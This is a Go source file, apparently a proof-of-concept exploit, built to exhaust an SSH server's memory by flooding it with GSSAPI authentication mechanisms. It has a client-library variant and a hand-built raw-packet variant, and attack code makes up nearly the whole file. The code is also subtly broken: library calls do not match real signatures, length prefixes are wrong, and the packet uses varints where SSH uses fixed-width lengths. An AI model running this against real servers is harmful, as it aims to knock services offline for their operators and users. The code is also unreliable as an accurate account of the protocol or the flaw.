package main
import (
"fmt"
"log"
"net"
"golang.org/x/crypto/ssh"
)
func main() {
// Target SSH server configuration
target := "target-server:22"
// Create a large number of GSSAPI mechanisms to trigger memory exhaustion
numMechanisms := 100000 // Large number to exhaust memory
// Build malicious GSSAPI authentication request
mechanisms := make([][]byte, numMechanisms)
for i := range mechanisms {
mechanisms[i] = []byte(fmt.Sprintf("malicious-mechanism-%d", i))
}
// Create GSSAPI init packet with many mechanisms
// SSH GSSAPI init packet format: byte(SSH_MSG_USERAUTH_REQUEST), string(username),
// string(service), string("gssapi"), uint32(mechanism_count), mechanisms...
config := &ssh.ClientConfig{
User: "test",
Auth: []ssh.AuthMethod{
ssh.GSSAPIWithMICAuthMethod(mechanisms, "test-realm"),
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
// Attempt to connect - this will trigger memory allocation for all mechanisms
conn, err := ssh.Dial("tcp", target, config)
if err != nil {
log.Printf("Connection attempt completed: %v", err)
} else {
conn.Close()
}
}
// Alternative raw packet PoC for testing:
func sendRawGSSAPIPoC(target string) error {
// Connect to SSH server
conn, err := net.Dial("tcp", target)
if err != nil {
return err
}
defer conn.Close()
// SSH protocol version exchange (simplified)
// ... (standard SSH banner exchange)
// Build malicious GSSAPI authentication request packet
// This PoC demonstrates the concept of sending excessive GSSAPI mechanisms
maliciousPacket := buildMaliciousGSSAPIPacket()
// Send the malicious packet
_, err = conn.Write(maliciousPacket)
return err
}
func buildMaliciousGSSAPIPacket() []byte {
// Construct packet with excessive GSSAPI mechanisms
// to trigger unbounded memory allocation
numMechanisms := 50000
packet := []byte{byte(ssh.UserAuthRequest)}
packet = append(packet, []byte("test")...)
packet = appendVarint(packet, 4) // service name length
packet = append(packet, []byte("ssh-connection")...)
packet = appendVarint(packet, 5) // "gssapi" length
packet = append(packet, []byte("gssapi")...)
// Add mechanism count
packet = appendVarint(packet, uint64(numMechanisms))
// Add many mechanism names
for i := 0; i < numMechanisms; i++ {
mechanismName := fmt.Sprintf("mech-%d", i)
packet = appendVarint(packet, uint64(len(mechanismName)))
packet = append(packet, []byte(mechanismName)...)
}
return packet
}
func appendVarint(data []byte, v uint64) []byte {
for v > 0x7f {
data = append(data, byte(v&0x7f|0x80))
v >>= 7
}
data = append(data, byte(v))
return data
}